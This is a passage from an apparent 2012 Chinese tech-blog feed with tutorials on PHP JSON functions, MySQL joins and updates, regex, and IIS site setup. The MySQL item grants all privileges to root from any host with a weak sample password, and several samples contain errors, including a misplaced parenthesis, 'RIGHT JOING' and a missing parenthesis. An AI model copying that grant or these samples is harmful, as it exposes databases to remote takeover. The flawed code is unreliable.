PHP支持两种数组，一种是只保存"值"（value）的索引数组（indexed array），另一种是保存"名值对"（name/value）的关联数组（associative array）。

由于javascript不支持关联数组，所以json_encode()只将索引数组（indexed array）转为数组格式，而将关联数组（associative array）转为对象格式。

比如，现在有一个索引数组

    　　$arr = Array('one', 'two', 'three');

    　　echo json_encode($arr);

结果为：

    　　["one","two","three"]

如果将它改为关联数组：

    　　$arr = Array('1'=>'one', '2'=>'two', '3'=>'three');

    　　echo json_encode($arr);

结果就变了：

    　　{"1":"one","2":"two","3":"three"}

注意，数据格式从"[]"（数组）变成了"{}"（对象）。

如果你需要将"索引数组"强制转化成"对象"，可以这样写

    　　json_encode( (object)$arr );

或者

    　　json_encode ( $arr, JSON_FORCE_OBJECT );

三、类（class）的转换

下面是一个PHP的类：

    　　class Foo {

    　　　　const ERROR_CODE = '404';

    　　　　public $public_ex = 'this is public';

    　　　　private $private_ex = 'this is private!';

    　　　　protected $protected_ex = 'this should be protected';

    　　　　public function getErrorCode() {

    　　　　　　return self::ERROR_CODE;

    　　　　}

    　　}

现在，对这个类的实例进行json转换：

    　　$foo = new Foo;

    　　$foo_json = json_encode($foo);

    　　echo $foo_json;

输出结果是

    　　{"public_ex":"this is public"}

可以看到，除了公开变量（public），其他东西（常量、私有变量、方法等等）都遗失了。

四、json_decode()

该函数用于将json文本转换为相应的PHP数据结构。下面是一个例子：

    　　$json = '{"foo": 12345}';

    　　$obj = json_decode($json);

    　　print $obj->{'foo'}; // 12345

通常情况下，json_decode()总是返回一个PHP对象，而不是数组。比如：

    　　$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';

    　　var_dump(json_decode($json));

结果就是生成一个PHP对象：

    　　object(stdClass)#1 (5) {

    　　　　["a"] => int(1)
    　　　　["b"] => int(2)
    　　　　["c"] => int(3)
    　　　　["d"] => int(4)
    　　　　["e"] => int(5)

    　　}

如果想要强制生成PHP关联数组，json_decode()需要加一个参数true：

    　　$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';

    　　var_dump(json_decode($json),true);

结果就生成了一个关联数组：

    　　array(5) {

    　　 　　["a"] => int(1)
    　　 　　["b"] => int(2)
    　　 　　["c"] => int(3)
    　　 　　["d"] => int(4)
    　　 　　["e"] => int(5)

    　　}

五、json_decode()的常见错误

下面三种json写法都是错的，你能看出错在哪里吗？

    　　$bad_json = "{ 'bar': 'baz' }";

    　　$bad_json = '{ bar: "baz" }';

    　　$bad_json = '{ "bar": "baz", }';

对这三个字符串执行json_decode()都将返回null，并且报错。

第一个的错误是，json的分隔符（delimiter）只允许使用双引号，不能使用单引号。第二个的错误是，json名值对的"名"（冒号左边的部分），任何情况下都必须使用双引号。第三个的错误是，最后一个值之后不能添加逗号（trailing comma）。

另外，json只能用来表示对象（object）和数组（array），如果对一个字符串或数值使用json_decode()，将会返回null。

    　　var_dump(json_decode("Hello World")); //null
]]></description>
			<link>http://www.lvtao.net/html/1863.html</link>
			<pubDate>2012-02-15, 12:28:10</pubDate>
		</item>
		<item>
			<title>rewrite 2 升级到3后 支持.htaccess 伪静态方式 附升级方法</title>
			<author>memory</author>
			<description><![CDATA[原先httpd.ini中

[ISAPI_Rewrite]
# 3600 = 1 hour
CacheClockRate 3600
RepeatLimit 32

RewriteRule ^(.*)/httpd\.ini$ /_Akks78Sk92oqv\.html [L]
RewriteRule ^/$ /do\.php\?method=index\.php [L]

升级到3.0后使用 .htaccess 

RewriteEngine On
RewriteCompatibility2 On
RepeatLimit 32
RewriteBase 
# unsupported directive: [ISAPI_Rewrite]
#  3600 = 1 hour
# unsupported directive: CacheClockRate 3600

RewriteRule ^(.*)/httpd\.ini$ /_Akks78Sk92oqv\.html [L]
RewriteRule ^/$ /do\.php\?method=index\.php [L]]]></description>
			<link>http://www.lvtao.net/html/1862.html</link>
			<pubDate>2012-02-14, 19:47:44</pubDate>
		</item>
		<item>
			<title>mysql多表查询之join详解</title>
			<author>memory</author>
			<description><![CDATA[在讲MySQL的Join语法前还是先回顾一下联结的语法，呵呵，其实连我自己都忘得差不多了，那就大家一起温习吧（如果内容有错误或有疑问，国内关于 MySQL联结查询的资料十分少，相信大家在看了本文后会对MySQL联结语法有相当清晰的了解，也不会被Oracle的外联结的（“＋”号）弄得糊涂了。

在SQL标准中规划的（Join）联结大致分为下面四种：

1． 内联结：将两个表中存在联结关系的字段符合联结关系的那些记录形成记录集的联结。
2． 外联结：分为外左联结和外右联结。

左联结A、B表的意思就是将表A中的全部记录和表B中联结的字段与表A的联结字段符合联结条件的那些记录形成的记录集的联结，这里注意的是最后出来的记录集会包括表A的全部录。

右联结A、B表的结果和左联结B、A的结果是一样的，也就是说：
Select A.name B.name From A Left Join B On A.id=B.id
和
Select A.name B.name From B Right Join A on B.id=A.id执行后的结果是一样的。

3．全联结：将两个表中存在联结关系的字段的所有记录取出形成记录集的联结（这个不需要记忆，只要是查询中提到了的表的字段都会取出，无论是否符合联结条件，因此意义不大）。

4．无联结：不用解释了吧，就是没有使用联结功能呗，也有自联结的说法。

这里我有个比较简便的记忆方法，内外联结的区别是内联结将去除所有不符合条件的记录，而外联结则保留其中部分。外左联结与外右联结的区别在于如果用A左联结B则A中所有记录都会保留在结果中，此时B中只有符合联结条件的记录，而右联结相反，这样也就不会混淆了。其实大家回忆高等教育出版社出版的《数据库系统概论》书中讲到关系代数那章（就是将笛卡儿积和投影那章）的内容，相信不难理解这些联结功能的内涵。

MySQL支持Select和某些Update和Delete情况下的Join语法，具体语法上的细节有：
table_references:
table_reference [, table_reference] …
table_reference:
table_factor
| join_table
table_factor:
tbl_name [[AS] alias]
[{USE|IGNORE|FORCE} INDEX (key_list)]
| ( table_references )
| { OJ table_reference LEFT OUTER JOIN table_reference
ON conditional_expr }
join_table:
table_reference [INNER | CROSS] JOIN table_factor [join_condition]
| table_reference STRAIGHT_JOIN table_factor
| table_reference STRAIGHT_JOIN table_factor ON condition
| table_reference LEFT [OUTER] JOIN table_reference join_condition
| table_reference NATURAL [LEFT [OUTER]] JOIN table_factor
| table_reference RIGHT [OUTER] JOIN table_reference join_condition
| table_reference NATURAL [RIGHT [OUTER]] JOIN table_factor
join_condition:
ON conditional_expr | USING (column_list)
上面的用法摘自权威资料，不过大家看了是否有点晕呢？呵呵，应该问题主要还在于table_reference是什么，table_factor又是什么？这里的table_reference其实就是表的引用的意思，因为在MySQL看来，联结就是一种对表的引用，因此把需要联结的表定义为table_reference，同时在SQL Standard中也是如此看待的。而table_factor则是MySQL对这个引用的功能上的增强和扩充，使得引用的表可以是括号内的一系列表，如下面例子中的

JOIN后面括号：
Select * FROM t1 LEFT JOIN (t2, t3, t4) ON (t2.a=t1.a AND t3.b=t1.b AND t4.c=t1.c)

这个语句的执行结果和下面语句其实是一样的：
Select * FROM t1 LEFT JOIN (t2 CROSS JOIN t3 CROSS JOIN t4) ON (t2.a=t1.a AND t3.b=t1.b AND t4.c=t1.c)
这两个例子不仅让我们了解了MySQL中table_factor和table_reference含义，同时能理解一点CROSS JOIN的用法，我要补充的是在MySQL现有版本中CROSS JOIN的作用和INNERJOIN是一样的（虽然在SQL Standard中是不一样的，然而在MySQL中他们的区别仅仅是INNER JOIN需要附加ON参数的语句，而CROSS JOIN不需要）。

既然说到了ON语句，那就解释一下吧，ON语句其实和Where语句功能大致相当，只是这里的ON语句是专门针对联结表的，ON语句后面的条件的要求和书写方式和Where语句的要求是一样的，大家基本上可以把ON当作Where用。

大家也许也看到了OJ table_reference LEFT OUTER JOIN table_reference这个句子，这不是MySQL的标准写法，只是为了和ODBC的SQL语法兼容而设定的，我很少用，Java的人更是不会用，所以也不多解释了。]]></description>
			<link>http://www.lvtao.net/html/1861.html</link>
			<pubDate>2012-02-14, 18:57:04</pubDate>
		</item>
		<item>
			<title>MYSQL联合多表更新和删除  超详细mysql left join,right join,inner join用法分析</title>
			<author>memory</author>
			<description><![CDATA[比较详细的mysql的几种连接功能分析，只要你看完就能学会的好东西
下面是例子分析
表A记录如下：
aID aNum
1 a20050111
2 a20050112
3 a20050113
4 a20050114
5 a20050115

表B记录如下:
bID bName
1 2006032401
2 2006032402
3 2006032403
4 2006032404
8 2006032408

创建这两个表SQL语句如下：
CREATE TABLE a
aID int( 1 ) AUTO_INCREMENT PRIMARY KEY ,
aNum char( 20 )
)
CREATE TABLE b(
bID int( 1 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
bName char( 20 )
)

INSERT INTO a
VALUES ( 1, 'a20050111' ) , ( 2, 'a20050112' ) , ( 3, 'a20050113' ) , ( 4, 'a20050114' ) , ( 5, 'a20050115' ) ;

INSERT INTO b
VALUES ( 1, ' 2006032401' ) , ( 2, '2006032402' ) , ( 3, '2006032403' ) , ( 4, '2006032404' ) , ( 8, '2006032408' ) ;

实验如下:
1.left join(左联接)

sql语句如下:
SELECT * FROM a
LEFT JOIN b
ON a.aID =b.bID

结果如下:
aID aNum bID bName
1 a20050111 1 2006032401
2 a20050112 2 2006032402
3 a20050113 3 2006032403
4 a20050114 4 2006032404
5 a20050115 NULL NULL
（所影响的行数为 5 行）

结果说明:
left join是以A表的记录为基础的,A可以看成左表,B可以看成右表,left join是以左表为准的.
换句话说,左表(A)的记录将会全部表示出来,而右表(B)只会显示符合搜索条件的记录(例子中为: A.aID = B.bID).
B表记录不足的地方均为NULL.

2.right join(右联接)

sql语句如下:
SELECT * FROM a
RIGHT JOING b
ON a.aID = b.bID

结果如下:
aID aNum bID bName
1 a20050111 1 2006032401
2 a20050112 2 2006032402
3 a20050113 3 2006032403
4 a20050114 4 2006032404
NULL NULL 8 2006032408
（所影响的行数为 5 行）

结果说明:
仔细观察一下,就会发现,和left join的结果刚好相反,这次是以右表(B)为基础的,A表不足的地方用NULL填充.

3.inner join(相等联接或内联接)

sql语句如下:
SELECT * FROM a
INNER JOIN b
ON a.aID =b.bID

等同于以下SQL句:
SELECT *
FROM a,b
WHERE a.aID = b.bID

结果如下:
aID aNum bID bName
1 a20050111 1 2006032401
2 a20050112 2 2006032402
3 a20050113 3 2006032403
4 a20050114 4 2006032404

结果说明:
很明显,这里只显示出了 A.aID = B.bID的记录.这说明inner join并不以谁为基础,它只显示符合条件的记录.
LEFT JOIN操作用于在任何的 FROM 子句中，

组合来源表的记录。使用 LEFT JOIN 运算来创建一个左边外部联接。左边外部联接将包含了从第一个（左边）开始的两个表中的全部记录，即
使在第二个（右边）表中并没有相符值的记录。

语法：FROM table1 LEFT JOIN table2 ON table1.field1 compopr table2.field2
说明：table1, table2参数用于指定要将记录组合的表的名称。
field1, field2参数指定被联接的字段的名称。且这些字段必须有相同的数据类型及包含相同类型的数据，但它们不需要有相同的
名称。
compopr参数指定关系比较运算符："="， "<"， ">"， "<="， ">=" 或 "<>"。
如果在INNER JOIN操作中要联接包含Memo 数据类型或 OLE Object 数据类型数据的字段，将会发生错误。 

[newpage]
多表更新
在 MySQL 3.23 中，你可以使用 LIMIT # 来确保只有给定的记录行数目被更改。 

如果一个 ORDER BY 子句被使用(从 MySQL 4.0.0 开始支持)，记录行将以指定的次序被更新。这实际上只有连同 LIMIT 一起才有用。 

从 MySQL 4.0.4 开始，你也可以执行一个包含多个表的 UPDATE 的操作： 

UPDATE items,month SET items.price=month.price
WHERE items.id=month.id;

注意：多表 UPDATE 不可以使用 ORDER BY 或 LIMIT。 



多表删除
第一个多表删除格式从 MySQL 4.0.0 开始被支持。第二个多表删除格式从 MySQL 4.0.2 开始被支持。 

仅仅在 FROM 或 USING 子句 之前 列出的表中的匹配记录行被删除。效果就是，你要以从多个表中同时删除记录行，并且同样可以有其它的表用于检索。 

在表名后的 .* 仅仅是为了兼容 Access： 

DELETE t1,t2 FROM t1,t2,t3 WHERE t1.id=t2.id AND t2.id=t3.id

or

DELETE FROM t1,t2 USING t1,t2,t3 WHERE t1.id=t2.id AND t2.id=t3.id

在上面的情况下，我们仅仅从 t1 和 t2 表中删除匹配的记录行。 

如果一个 ORDER BY 子句被使用(从 MySQL 4.0.0 开始支持), 记录行将以指定的次序删除。这实际上只有连同 LIMIT 一起才有用。示例如下： 

DELETE FROM somelog
WHERE user = 'jcole'
ORDER BY timestamp
LIMIT 1

这将删除匹配 WHERE 子句的，并且最早被插入(通过 timestamp 来确定)的记录行。 

DELETE 语句的LIMIT rows 选项是 MySQL 特有的，它告诉服务器在控制权被返回到客户端之前可被删除的最大记录行数目。这可以用来确保一个特定的 DELETE 命令不会占用太长的时间。你可以简单地重复使用 DELETE 命令，直到被影响的记录行数目小于 LIMIT 值。 

从 MySQL 4.0 开始，在 DELETE 语句中可以指定多个表，用以从一个表中删除依赖于多表中的特殊情况的记录行。然而，在一个多表删除中，不能使用 ORDER BY 或 LIMIT。
假设有两个表，tab1,tab2，分别有产品名称和产品价格，现在我想用tab2的价格替换tab1的价格，我写的语句是Update tab1 set tab1.产品价格=tab2.产品价格 where tab1.产品名称=tab2.产品名称 
结果出现错误，提示为：列前缀 'tab2' 与查询中所用的表名或别名不匹配。请问应该怎样写，

SQL语句是不支持多表同时更新的。 

应该这样写 

update tab1 set tab1.产品价格 = (select tab2.产品价格 from tab2 where tab2.产品名称 = tab1.产品名称) where tabl1.产品名称 in (select tab2.产品名称 from tab2) 


后面的where tab1.产品名称 in (select tab2.产品名称 from tab2) 这句保证了如果tab1的产品在tab2没有记录时不会出错。


在 开发中,数据库来回换,而有些关键性的语法又各不相同,这是一件让开发人员很头痛的事情.本文总结了Update语句更新多表时在SQL Server,Oracle,MySQL三种数据库中的用法.我也试了SQLite数据库,都没成功,不知是不支持多表更新还是咋的. 

在本例中: 

我们要用表gdqlpj中的gqdltks,bztks字段数据去更新landleveldata中的同字段名的数据,条件是当landleveldata 中的GEO_Code字段值与gdqlpj中的lxqdm字段值相等时进行更新. 

SQL Server语法: 
UPDATE 
          { 
           table_name WITH ( < table_hint_limited > [ ...n ] ) 
           | view_name 
           | rowset_function_limited 
          } 
          SET 
          { column_name = { expression | DEFAULT | NULL } 
          | @variable = expression 
          | @variable = column = expression } [ ,...n ] 

      { { [ FROM { < table_source > } [ ,...n ] ] 

          [ WHERE 
              < search_condition > ] } 
          | 
          [ WHERE CURRENT OF 
          { { [ GLOBAL ] cursor_name } | cursor_variable_name } 
          ] } 
          [ OPTION ( < query_hint > [ ,...n ] ) ] 

SQL Server示例: 
update a 
set a.gqdltks=b.gqdltks,a.bztks=b.bztks 
from landleveldata a,gdqlpj b 
where a.GEO_Code=b.lxqdm 

Oracle语法: 
UPDATE    updatedtable 
      SET (col_name1[,col_name2...])= 
(SELECT    col_name1,[,col_name2...]   
FROM    srctable [WHERE where_definition]) 

Oracel 示例: 
update landleveldata a 
set (a.gqdltks, a.bztks)= 
(select b.gqdltks, b.bztks    from gdqlpj b 
    where a.GEO_Code=b.lxqdm) 

MySQL语法: 
UPDATE table_references 
      SET col_name1=expr1 [, col_name2=expr2 ...] 
      [WHERE where_definition] 

MySQL 示例: 
update landleveldata a, gdqlpj b 
set a.gqdltks= b.gqdltks, 
a.bztks= b.bztks 
    where a.GEO_Code=b.lxqdm]]></description>
			<link>http://www.lvtao.net/html/1860.html</link>
			<pubDate>2012-02-14, 18:53:54</pubDate>
		</item>
		<item>
			<title>正则表达式提取图片路径 并过滤掉指定字符</title>
			<author>memory</author>
			<description><![CDATA[我想对 html 的图片进行提取.

<img ico src="http://localhost/UCenter/images/noavatar_small.gif" />

<img src="http://localhost/UCenter/images/noavatar_small.gif" />

如上地址. 我想全部提取出来 但是包含'ico' 的地址 忽略. 求正则 , 就是有些图片 提取.有些不提取.

例子: <\s*img\s+[^>]*?src\s*=\s*(\'|\")(.*?)\\1[^>]*?\/?\s*>

经改进后..
正确解答如下
/<img(?:(?!(ico)).)+\/>/ ]]></description>
			<link>http://www.lvtao.net/html/1859.html</link>
			<pubDate>2012-02-14, 16:43:46</pubDate>
		</item>
		<item>
			<title>mysql error 1044: access denied for user 错误解决</title>
			<author>memory</author>
			<description><![CDATA[mysql5远程连接服务器时，出现类似： ERROR 1044: Access denied for user: '@127.0.0.1' to database 'mysql'的错误。

说明你没有将权限下放到远端连接帐户上，由于mysql的安全性在不断的提高，权限设置默认是拒绝的，你必须自己开放权限。
在服务器上用mysql -h 192.168.0.1 -u root -p mysql 命令登录mysql数据库，
然后用grant命令下放权限。

GRANT ALL PRIVILEGES ON *.* TO root@localhost IDENTIFIED BY 'root-password' WITH GRANT OPTION;

GRANT ALL PRIVILEGES ON *.* TO root@127.0.0.1 IDENTIFIED BY 'root-password' WITH GRANT OPTION;

GRANT ALL PRIVILEGES ON *.* TO root@'%' IDENTIFIED BY 'root-password' WITH GRANT OPTION;

例如：
GRANT ALL PRIVILEGES ON *.* TO root@'%' identified by '999999'

注意：自己根据情况修改以上命令中的 “用户”“ip地址”“密码”。]]></description>
			<link>http://www.lvtao.net/html/1858.html</link>
			<pubDate>2012-02-14, 13:29:28</pubDate>
		</item>
		<item>
			<title>vps/2003服务器系统添加扩展硬盘盘符图文教程</title>
			<author>memory</author>
			<description><![CDATA[右击桌面我的电脑.
[img]/upload/files/20120214/2012115251-V2MZYiQamq.png[/img]
选择管理
[img]/upload/files/20120214/2012115255-mbeAkFFVw4.png[/img]
点开磁盘管理
[img]/upload/files/20120214/2012115301-ct5rrtSdeF.png[/img]
如果是VPS或扩展的硬盘会弹出此对话框，下一步
[img]/upload/files/20120214/2012115305-tHgVFcO7Af.png[/img]
勾选硬盘
[img]/upload/files/20120214/2012115309-RO86p16ev1.png[/img]
不能将它勾掉
[img]/upload/files/20120214/2012115315-NmUMpCo1JJ.png[/img]
得是如下状态
[img]/upload/files/20120214/2012115319-oS0hhkTZ58.png[/img]
点击完成
[img]/upload/files/20120214/2012115332-Wt7vecaJAm.png[/img]
在窗口右边会有磁盘列表 本例中是硬盘1 状态未指派
[img]/upload/files/20120214/2012115337-2j2dPfN3C2.png[/img]
在新创建的磁盘上点击右键 选择新建卷
[img]/upload/files/20120214/2012115341-csX9FzeoyF.png[/img]
下一步
[img]/upload/files/20120214/2012115346-swYNuhpZiQ.png[/img]
简单模式
[img]/upload/files/20120214/2012115350-jm8ncda2LR.png[/img]
已选磁盘中为要添加磁盘(默认) 下一步
[img]/upload/files/20120214/2012115355-X7vhG0CHXU.png[/img]
默认，指定磁盘驱动器号。下一步
[img]/upload/files/20120214/2012115403-2eJnufXblW.png[/img]
服务器建议用ntfs格式，勾选 执行快速格式化 下一步
[img]/upload/files/20120214/2012115409-w2v8iqC9Ek.png[/img]
点击完成
[img]/upload/files/20120214/2012115413-OlEVJShdMQ.png[/img]
磁盘列表中已经有E盘了.
[img]/upload/files/20120214/2012115418-rQYZ5ZUTJn.png[/img]
并且为扩展硬盘
[img]/upload/files/20120214/2012115422-xKgAgkE4FD.png[/img]
打开我的电脑，E盘就存在了.如果刚才驱动号选择的是其它的，这儿就是相应的其它盘符
[img]/upload/files/20120214/2012115426-gHeVLrm04h.png[/img]]]></description>
			<link>http://www.lvtao.net/html/1857.html</link>
			<pubDate>2012-02-14, 12:10:00</pubDate>
		</item>
		<item>
			<title>windows2003 IIS网站浏览时提示需要用户名密码登录解决思路</title>
			<author>memory</author>
			<description><![CDATA[打开iis，站点右键----属性----目录安全性----编辑----允许匿名访问勾选 

在网站目录 例如：D:\wwwroot 上点击右键 属性 安全
[img]/upload/files/20120213/2012055250-gST7SD7XMA.png[/img]
添加用户
选择高级
[img]/upload/files/20120213/2012055320-BIhjYSLMdv.png[/img]
点击查找用户
[img]/upload/files/20120213/2012055328-vSeDRJxsJz.png[/img]
在列表中找到 IIS_WPG 确定即可.

要输入用户名密码的解决办法
原因很多，请尝试以下操作：

1、查看网站属性——文档
看看启用默认文档中是否存在：index.asp index.htm index.html (最好全都有，没有可添加) 

2、查看网站属性——主目录
A、本地路径是否指定正确
B、是否勾选“脚本资源访问”？
C、是否勾选“读取”？
D、执行权限：纯脚本 

3、查看网站属性——目录安全性——编辑
A、是否勾选“匿名访问”？
B、用户名：IUSR_您的计算机名（不对，就点浏览选择） SMasdlkdwqo!@#$%^(*&^
C、密码不用改，勾选“允许IIS控制密码”就可以了
D、其它不用选 

4、查看网站属性——网站
A、IP地址：全部未分配 或者 选择一个
B、TCP端口：80 （最好不要改，改了访问方法就不一） 

5、打开控制面板——管理工具——计算机管理——本地用户和组——用户
A、看看“IUSR_您的计算机名”此用户有没有启动，必须启动（说明：有红色的×表示没有启动）
B、看看“IWAM_您的计算机名”此用户有没有启动，必须启动（说明：有红色的×表示没有启动）
C、在“IWAM_您的计算机名”该用户上按右键——设置密码（密码要记住，后面还需要用上该密码）

6、打开控制面板——管理工具——组件服务——组件服务——计算机——我的电脑——COM+应用程序
A、在“IIS Out-Of-Process Pooled Applications”上按右键选择‘属性’——选择‘标识’，指定用户：IWAM_您计算机名（说明：可以点浏览查找）；输入密码，密码上面步骤的密码。再次启动该服务，启动后它会动。 SMasdlkdwqo!@#$%^(*&^
B、在“IIS In-Process Applications”上按右键选择‘属性’——选择‘安全性’，将‘启用身份验证’勾去掉
C、在“IIS Utilities”上按右键选择‘属性’——选择‘安全性’，将‘启用身份验证’勾去掉。]]></description>
			<link>http://www.lvtao.net/html/1856.html</link>
			<pubDate>2012-02-13, 17:54:46</pubDate>
		</item>
		<item>
			<title>windows 2008 或 win7/8  IIS7 添加PHP 扩展 图文教程</title>
			<author>memory</author>
			<description><![CDATA[IIS7 详细设置
本设置过程操作系统为中文版本的Windows 2008  Server。
首先确认你的IIS是否支持下图所示模式,如果没有请先添加CGI , ISAPI Extensinos和ISAPI Filters相关支持.

[img]/attachment/day_120213/201202131716119070.png[/img]

2.   IIS主界面如下:

  [img]/attachment/day_120213/201202131716174159.png[/img]

3.  在ISPAI and CGI restrictions中添加对php的支持.如下图:

注意:对于4.8以后版本的winmail此处可执行文件应为: C:\WINNT\php5\php5isapi.dll
[img]/attachment/day_120213/201202131716185544.png[/img]

4. 在Handler mappings中添加脚本映射script map对php的支持,设置如下图:

[img]/attachment/day_120213/201202131716185313.png[/img]

5.   在虚拟目录/网站选项Default Document选项卡中添加默认主页index.php

[img]/attachment/day_120213/201202131716199598.png[/img]

6.  在IE中打开网站测试是否正常.

使用Windows 2008/WIN7 64位操作系统的配置IIS7时如果出现404.17错误的。
解决办法：打开应用程序池，选中后点右键--高级设置，将“启动32位应用程序”改为“true”]]></description>
			<link>http://www.lvtao.net/html/1855.html</link>
			<pubDate>2012-02-13, 17:16:46</pubDate>
		</item>
		<item>
			<title>windows 2003 IIS6 添加PHP 扩展 图文教程</title>
			<author>memory</author>
			<description><![CDATA[1.添加IIS对PHP的支持。这里使用的是软件自带的PHP程序：
    a.点击-添加IIS的一个新web服务扩展
    b.填写名称，此处为php
    c.在添加中添加文件
    d.点击-浏览- 选择c:\windows\php4\目录。 注意:对于4.8以后版本此处应为: C:\windows\php5\
    e.在文件类型中选择.exe类型选择上方的php.exe文件。 注意:对于4.8以后版本的winmail此处应为: php5isapi.dll
[img]/attachment/day_120213/201202131714106079.png[/img]

2.   设置扩展状态为允许

  [img]/attachment/day_120213/201202131714118667.png[/img]

3.  打开虚拟站点的属性页

[img]/attachment/day_120213/201202131714118122.png[/img]

 打开虚拟目录的属性页
[img]/attachment/day_120213/201202131714123283.png[/img]

4.   在虚拟目录属性中选择-虚拟目录-配置选项卡

[img]/attachment/day_120213/201202131714125616.png[/img]

在虚拟站点的属性中选择-主目录-配置选项卡
[img]/attachment/day_120213/201202131714135905.png[/img]

5.  在配置选项中选择添加

[img]/attachment/day_120213/201202131714134831.png[/img]

6.  在出现添加选项时可执行文件选择 c:\windows\php4\php.exe ，扩展名为.php，如下图

注意:对于4.8以后版本的winmail此处可执行文件应为: C:\windows\php5\php5isapi.dll
[img]/attachment/day_120213/201202131714144883.png[/img]

[img]/attachment/day_120213/201202131714154047.png[/img]

7.  在文档选项卡下添加默认内容文档index.php如下图

[img]/attachment/day_120213/201202131714159391.png[/img]    

[b]附注1）IIS6上传文件尺寸太小解决办法 (已经安装 windows 2003 SP1 的不需要设置)[/b]

IIS 6 出于安全考虑, 默认最大请求 200K (也即最大提交数据限额为 200KByte, 204800Byte).

[b]    解决办法：[/b]

[b]  [/b]1. 关闭 IIS Admin Service 服务 
2. 打开 \Windows\system32\inetsrv\metabase.xml 
3. 修改 ASPMaxRequestEntityAllowed 的值为自己需要的, 默认为 204800 
4. 启动 IIS Admin Service

[b]附注2）在 IIS 6.0 中，无法下载超过 4M 的附件的解决办法 (已经安装 windows 2003 SP1 的不需要设置)[/b]

[b]解决办法：[/b]

[b]  [/b]1. 关闭 IIS Admin Service 服务 
2. 打开 \Windows\system32\inetsrv\metabase.xml 
3. 修改 AspBufferingLimit 的值为自己需要的, 可以修改为20480000 即 20M 
4. 启动 IIS Admin Service]]></description>
			<link>http://www.lvtao.net/html/1854.html</link>
			<pubDate>2012-02-13, 17:15:39</pubDate>
		</item>
		<item>
			<title>IIS7中添加站点(Windows 2008,Vista)</title>
			<author>memory</author>
			<description><![CDATA[IIS7中添加站点

本设置过程操作系统为中文版本的Windows 2008  Server。

1.  在IIS网站中右击AddWeb Site或者点击右方AddWeb Site

[img]/attachment/day_120213/201202131712298856.png[/img]

2. 在站点属性中如下图如示操作.站点名mail目录为winmail的安装目录下server/webmail/www目录.Hostname 一般为你的主机头.即访问此网站时所用的网页地址.

[img]/attachment/day_120213/201202131712293989.png[/img]

3.   如果此邮件服务器为多域，则在网站此处添加Bindings方便区分和建立不同站点，如：

[img]/attachment/day_120213/201202131712308361.png[/img]

4. 创建完成.]]></description>
			<link>http://www.lvtao.net/html/1853.html</link>
			<pubDate>2012-02-13, 17:12:53</pubDate>
		</item>
		<item>
			<title>IIS7.0设置虚拟目录 (Windows 2008,Vista) 图文教程</title>
			<author>memory</author>
			<description><![CDATA[设置过程操作系统为中文版本的Windows2008  Server。

1.  在已经有的站点上-右击AddVirtual Directories或者如下图操作

[img]/attachment/day_120213/201202131711243003.png[/img]

2.   在添加虚拟目录选项中参考下图设置:

[img]/attachment/day_120213/201202131711253890.png[/img]

3.  点击-OK-完成如下图

[img]/attachment/day_120213/201202131711256784.png[/img]]]></description>
			<link>http://www.lvtao.net/html/1852.html</link>
			<pubDate>2012-02-13, 17:11:58</pubDate>
		</item>
		<item>
			<title>VPS或独立服务器用户IIS中添加虚拟目录设置图文教程 for iis6</title>
			<author>memory</author>
			<description><![CDATA[本设置过程操作系统为中文版本的Windows 2003 Enterprise Server。

1.  在已经有的站点上-右击新建-虚拟目录

[img]/attachment/day_120213/201202131709588573.png[/img]

2.  点击-下一步

[img]/attachment/day_120213/201202131709594432.png[/img]

3.   为虚拟目录命名，此处名字将是以后访问时使用，如：http://www.XXX.com/webmail/访问。则此处就要填写webmail

[img]/attachment/day_120213/201202131709597205.png[/img]

4.  选择网页目录地址，在winmail的安装目录下的server/webmail/www/目录，注意：选择错误将不能正常访问！

[img]/attachment/day_120213/201202131710001223.png[/img]

5.   选择目录权限如下图：

[img]/attachment/day_120213/201202131710009099.png[/img]

5. 单击完成虚拟目录创建。

[img]/attachment/day_120213/201202131710015918.png[/img]

6.   创建后的目录如下图：

[img]/attachment/day_120213/201202131710078557.png[/img]]]></description>
			<link>http://www.lvtao.net/html/1851.html</link>
			<pubDate>2012-02-13, 17:10:46</pubDate>
		</item>
		<item>
			<title>VPS或独立服务器用户IIS中添加站点图文教程 for iis6</title>
			<author>memory</author>
			<description><![CDATA[本设置过程操作系统为中文版本的Windows 2003 Enterprise Server。

1.  在IIS网站中右击新建-网站
[img]/attachment/day_120213/201202131706118075.png[/img]
2.  点击-下一步
[img]/attachment/day_120213/201202131706119468.png[/img]
3.   为网站命名，此处是网站的描述方便区分不同站点，如：
[img]/attachment/day_120213/201202131706122177.png[/img]
4.  选择网站IP（通常不用改变），端口为80，如果有需要可以更改为其他端口但访问时网页地址将变成http://mail.XXX.com:端口（修改的端口）
网站主机头请填写你的网站访问时要用的网址：比如你要用mail.XXX.com访问则此处就是mail.XXX.com
[img]/attachment/day_120213/201202131706121445.png[/img]
5.   选择网站目录地址，为winmail安装目录下的server/webmail/www/目录：
[img]/attachment/day_120213/201202131706131608.png[/img]
6. 选择网站目录的权限如下图
[img]/attachment/day_120213/201202131706139553.png[/img]
7.   创建完成
[img]/attachment/day_120213/201202131706144161.png[/img]]]></description>
			<link>http://www.lvtao.net/html/1850.html</link>
			<pubDate>2012-02-13, 17:07:26</pubDate>
		</item>
		<item>
			<title>VPS或独立服务器给IIS添加域名绑定图文教程 for iis6</title>
			<author>memory</author>
			<description><![CDATA[VPS用户一个IIS可支持多个网站，默认网站开端口80,想开多个网站，可对其端口修改进行区分，
但若要在外网（也就是internet啦）进行访问的话，有个域名还是要好很多滴。
如我的服务器IP地址为x.x.x.x，那么用域名指指向这个IP时，所解析的只是默认网站，在本机的IIS上我们可以通过修改端口来区分各个网站，WEB默认的端口是80的，这时我们只需将各个网站的端口设为80，再将其主机头名设为你的域名即可。

首先打开你的“Internet 信息服务(IIS)管理器” ，然后选择你要设置域名的网站

右键点击“默认网站”，选择属性 如图：

[img]/attachment/day_120213/201202131703485460.jpg[/img] 

点击高级，出现域名绑定窗口 
[img]/attachment/day_120213/201202131703491891.jpg[/img]

点击添加   绑定后点击确定即可完成绑定
[img]/attachment/day_120213/201202131703498762.jpg[/img] 

设好后，点确定返回.

绑定前域名要解析到你相应的服务器IP上]]></description>
			<link>http://www.lvtao.net/html/1849.html</link>
			<pubDate>2012-02-13, 17:05:21</pubDate>
		</item>
		<item>
			<title>国外godaddy注册的域名如何使用dnspod.cn的DNS服务器图文教程</title>
			<author>memory</author>
			<description><![CDATA[最近国内大部分运营商或地区已经开始屏蔽godaddy的DNS服务器，有种宁错杀三千，不放走一个的气势，为了一两个站封杀了所有的，哎。。
